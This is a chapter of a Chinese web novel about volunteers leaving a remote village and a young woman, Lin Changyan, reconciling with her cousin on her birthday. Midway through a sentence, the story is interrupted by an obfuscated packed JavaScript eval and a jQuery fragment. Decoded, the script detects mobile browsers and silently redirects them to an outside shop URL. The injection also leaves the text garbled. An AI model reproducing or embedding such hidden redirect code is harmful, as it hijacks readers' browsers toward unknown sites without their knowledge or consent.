很久很久以前，普罗米修斯还没有为人类盗来火种，夜晚的大地一片漆黑，没有神祇，也没有希望。
蜷缩在洞穴里的人类瑟瑟发抖，既害怕野兽的袭击，也无法确认同伴的所在，除了无边无际的黑暗，还有如影随形的孤独，不明不白地令人悲伤。
直到第一声不成曲调的嗥叫响起。
远远近近的洞穴应声附和，高低不一的声调拥在一起，殷切地向同伴们表达着——“我在这里！我在这里！”似乎只要发出声音，黑暗就有了破绽，孤独就能远离。
很久很久以前，人类用这种方式彼此确认，紧紧相拥。
渐渐地，调子与调子之间找到了更悠扬的韵律，在山谷里飘来荡去，于是有了歌。
后来，火焰吓跑了黑暗与野兽，人们围坐在火堆旁唱歌，在歌声的余韵里，仍有一种孤独如跗骨之蛆，逼迫着人们做点什么。
火光映亮洞穴的岩壁，人类拿起磨尖的石块，在岩壁上刻下同伴们歌唱的场景，于是有了画。
当生存的威胁一点点退潮，大片荒芜的礁石崭露头角，为了防止触礁而死，人类创造出文字、诗歌、绘画、舞蹈，艺术……每一块礁石上都刻满了“我在这里”，于是存在的焦虑催生了文明。
想要黑暗不再降临，希望野兽不再可怕，祈盼歌声传得更远更久……活着的明证越多越好，文明将对非生即死的法则宣战，与亘古不变的光阴对峙。
然而，当远方的礼物百转千回地寄到手里，林长焱听着话筒那头疲惫的生日祝福，无声许下自己的愿望——
要是能消失就好了。
不是死去，不是消亡，而是消失。
不要惊动任何人，就像她从没来过那样，一阵风吹过，她便无人知晓地消失了。
她无法解决任何问题，但只要她消失了，她就能带着她的问题不存在了。
她是文明的悖论。
而悖论总是孤独而悲怆的。
她的眼里映着生动的火光，耳边是高低起伏的歌声，肩上靠着张嘴流涎的病人……她突然不想当那个悖论了，她想要回到过去，发出一声不成曲调的嗥叫，告诉她远在未来的自己和同伴——
“我在这里。”
“我在这里。”
“林长焱……在这里。”
赵青阳被脑袋底下的颤动惊醒，意识渐渐回笼，喔哦喽啊的歌声也传入耳中。
他维持着这个姿势，撑开眼皮看对面有一下没一下敲着锅底的老人，大伙拍着巴掌和着曲调，有人侧过身去，不动声色地擦掉眼泪。
“……这是在干嘛？”他没话找话地问。
林长焱揩去眼角，喑哑道：“在文艺汇演。”
他眨了眨眼睛，“哦……其实我听不太懂。”
“我也是，”她笑了笑，“就当在看百老汇了，嗯……这就是百老汇。”
“那……”他扶着脑袋坐正，没刚才困得天昏地暗了，清了清嗓扭头看她红通通的眼睛，放轻声音问：“那你怎么哭了？”
林长焱撇开眼，活动了一下僵硬的肩膀，“因为你口水全滴我衣服上了。”
他五雷轰顶地跳起来，险些被防潮垫绊了一脚，在两边的虚扶下左脚踩右脚地跑了出去。
没多久他拿着湿帕子回来，无处下手地递给她自己擦，尴尬得来回打量：“咳，谢谢啊，他们去哪儿了？”
她垂眼擦了擦肩膀和手臂，“他们去后山打水了，去了有一会儿，估计快回来了，你怎么样，还晕吗？”
“不晕了不晕了，那我找他们去。”说完他抄起递来的帕子，哒哒哒又跑没影了。
离开时能走动的老人都动身把他们送到门外，一人一句根本听不清在说什么，堂屋里空得只剩一堆灰烬和板凳。
大门外是热气腾腾还在冒尖的竹笋，大门里是矮下一截互相搀扶的老树桩，林长焱手里被塞了一把糖果，糖纸上还留着体温。“乖乖些有空就来看我们嘛，开车来，不走路来，难爬得很……”
“行喽行喽讲不完的话，”老管事把他们拦在身后，对他们挥挥手，“你们慢去喽，小心点喔，我就不送你们下去了，事多得很！”
林长焱攥着那把糖，弯腰用笨拙的口音回答：“奶奶，有空我一定来，你要注意身体。”
矮墩墩的奶奶在围腰上抹了抹手，没想到她会回答，腼腆地抿着嘴笑：“要得嘛，要来哦……”
志愿者与群众依依不舍地话别了，喊声直到十米之外都还能听见，吃饱喝足的大伙背着空背篓，脚步轻快得不能再轻快了。
徐铭龙挨惯了他爹妈的数落，从未在一天之内享受过如此密集的赞美，两手抱头美滋滋道：“这就是红军的快乐吗？怎会有我这种英俊善良的男人？看，我的背影是不是很高大！”
刘兴义嗤笑一声，使坏在他背篓上压了一肘子，“你那点身高，在谁面前充老大呢？”
“喂喂喂！强哥！有人欺负志愿军！”到他肩膀的徐铭龙挣扎起来，反唇相讥：“长得高，修灯泡，有你吃亏的时候！”
“你们两个！禁止打情骂俏哈，”纪律委员方志强远远地喊了一声：“下坡也小心点，滚下去不好看哟！”
两人其实也闹不动了，打完水回来肩背还真有点酸痛，刘兴义掰着膀子转了转，准备一着家就睡得人事不省，最好一觉睡到文明回归。
他打了个哈欠，和哈欠连连的徐铭龙东拉西扯着，目光飘到旁边抓耳挠腮的赵青阳和低头剥糖的林长焱身上。
刚才在火堆旁的那番话也只有那会儿才说得出来，当时不觉得有什么，想说就说了，现在想想却莫名有点不自在……独生子女刘兴义咂了咂嘴，想了一圈身边的二胎家庭，还真没几个可以取经的。
他和林长焱差不了几岁，成长环境也不一样，性格又南辕北辙，更别提交心了，她能多透露两句“我的天气”他就阿弥陀佛了，他也不想总把人说得眼泪汪汪的，万一他一句都没说对光戳人肺管子了，显得他人废话还多……“小龙哥，我能跟我哥说几句话吗？”
刘兴义一愣，她展臂越过他递给徐铭龙一颗橘子糖。
“哦哦，那怎么不行……”同样发愣的徐铭龙和他对视一眼，摸着脖子走开了：“你们聊你们聊，阳仔过来，杵那儿干嘛呢？”
嘴里抿着椰子糖的赵青阳颠着小竹筐绕过来，扒开他手里的糖看了一眼，翘着嘴角不知在笑什么。
徐铭龙“嘶”了一声，揽着他歪过一边小声问：“什么话还要单独聊？阳仔，你说小焱是不是嫌我话多啊？”
他哼哼两声，“和她比谁话不多？人家兄妹两个爱聊啥聊啥呗，你跟我没话聊？”
“我跟你有啥要单独聊的？”
赵青阳心情好得不得了，歪头朝他抛个媚眼，“死鬼，你再好好想想。”
徐铭龙抱住自己远离他，抖着嘴唇羞愤道：“你、你别坏了我的名声！”
……
林长焱抿着椰子糖仍是低头，在掌心的糖堆里挑挑捡捡，捡出一颗没有霉点的咖啡糖递过去，“大多都是发霉过期的，要是味道不对你就吐掉。”
“估计是舍不得吃，一直收着，就放发霉了。”刘兴义讷讷接过，嘴里先苦后甜一点点蔓延开，没尝出什么怪味。
她抿着嘴里的甜味点点头，“嗯，我知道。”
脚底的砂石喀啦喀啦地响着，刘兴义顶着腮帮在嘴里把糖遛了一圈，也没听到她开口，琢磨着是不是得先说点什么。
脑海里闪过她身份证上的日期，他舌头一弹“嘎”了一声，在阴冷的风中喷出一口雾气，扭头对不尽狼狈的她说道：“对了小焱，生日快乐。”
林长焱惊讶抬头，他笑着解释：“你抖书包的时候把你身份证也抖出来了，我就看了一眼，是今天吧？还是你过农历？”
“……就是今天，不过农历。”
来时他总惦记着说这句生日快乐，差点忘了，好歹又想起来，瞬间如释重负地叹了口气：“那就好，虽然没水没电又脏又累，但还是要说生日快乐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968504|214603||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，今天肯定是过不成了，等之后恢复了，抽个日子好好给你过。”
给小雨过生日的时候他就在想，今年这个情况要不要给她过，他记得小时候他们过过一回她的生日，家里还有那张旧照片——他们俩裹着厚厚的棉服，活像两只胖胖的小豚鼠，他掉了一颗门牙，她扎着两根冲天炮，围着一支会唱生日快乐的荷花蜡烛唱生日歌。
那只蜡烛被取下来后也响个不停，亮着淡淡的灯光在门外唱了一整个晚上。
林长焱嘴角挂着淡淡的笑，“不用，今天就很好。这是我这些年来，过过最好的一个生日。”
“生日快乐”终于不再是一行警示牌，不再提醒她咬紧牙关熬过下一年，而是回到了它原本的初衷，变成了一句简简单单的祝福。
前所未有的存在感充盈着她，令她时过境迁地抿到了存在的甜味。
“怎么就最好的生日了……”刘兴义底气不足地收了声，揉了揉她的脑袋不想说什么丧气话，心底有点发苦。
“哥，”话头早已在她舌尖跑了一圈又一圈，她趁热打铁，怕一不小心就咽下肚了，“我不是不爱说话，是因为我觉得……我……我……”——我说什么，好像都是错的。
努力了好几次，后面那句死活憋不出来，她吐出一口气，苦笑着跳过。
她赶在神情微变的刘兴义开口之前，继续道：“我没什么朋友，不太懂人情世故，多说多错，不如闭嘴当个哑巴，好歹看起来没那么笨。”
这个办法对于那些讨厌自己的人来说，或许还有点用处，但对于真正关心我的人来说，其实并不公平。
她时过境迁地明白了，她低着头，两只手紧抓着书包肩带，“你和舅妈本来就没必要管我，但还是管了，还要看我的脸色……嗯，多少有点不懂事了……”
“但我想了一下，其实我也不知道该怎么办，不是说不知者无罪嘛，虽然这确实不太好……”
“我也没你那么聪明，我就是……就是比较笨……”她颠来倒去地摊开又找补，听得刘兴义忍不住笑，打断她没完没了的补丁，“好了好了，没那么严重，你舅妈就不是看人脸色的脾气，都熬过来了，继续吧。”
“就是，我其实就想说我不是不愿意说话，可能是不会说，”她突然两手一松，叹了口气，“以后我会尽量说出来，但我嘴比较笨，如果说错话了，你别生我的气，可以提醒我……也不是……”
她挠了挠额头，迟迟疑疑道：“你可以生气，那是你的权利，但还是应该提醒我，不然我也不知道我哪里说得不对做得不好……”
“来来，”刘兴义揽过她的肩膀，煞有其事道：“我教你啊小焱，没那么复杂，你就直接‘你是不是我哥！’就可以了，我们当哥的命苦一点没关系，主要是你们得茁壮成长，才能对得起我们受的气，对不对？”
林长焱咬着嘴角忍不住笑，乖乖点头：“嗯。”
“行，那我们说好了，”他伸手过去，“以后不准憋着话不说，当个爽快人，文明你我他，拉勾？”
她翘起小指伸过去，“好，拉勾，那你有心事也要跟我说。”
“嗯……这个说不准，”他故作为难，“毕竟你哥有女朋友嘛~”
“好，那你跟帆姐说。”
“都说都说，直接开个会宣布一下，”他晃着她的肩膀问：“有没有什么想要的礼物，跟哥说，条件允许了直接安排！”
山道上的松树在灰蒙蒙的天地间绿得盎然，鞋底上的泥巴已经风干，停靠在山底下的车辆长短不一，仿佛收捡得当的玩具……一切都在不知不觉中恢复秩序。
她看什么都莫名顺眼了。
“哥，等过完年了，给我那间开扇窗吧。”
没有窗户的房间，只会让原本就狭小的空间变得更加逼仄。
现在的她，再也不愿与那种逼仄和平共处，她要开一扇窗，把所有腐烂的气息都散尽。
等到天放晴，新的血肉会长出来，阳光会穿过窗口，洒进她劫后余生的心房。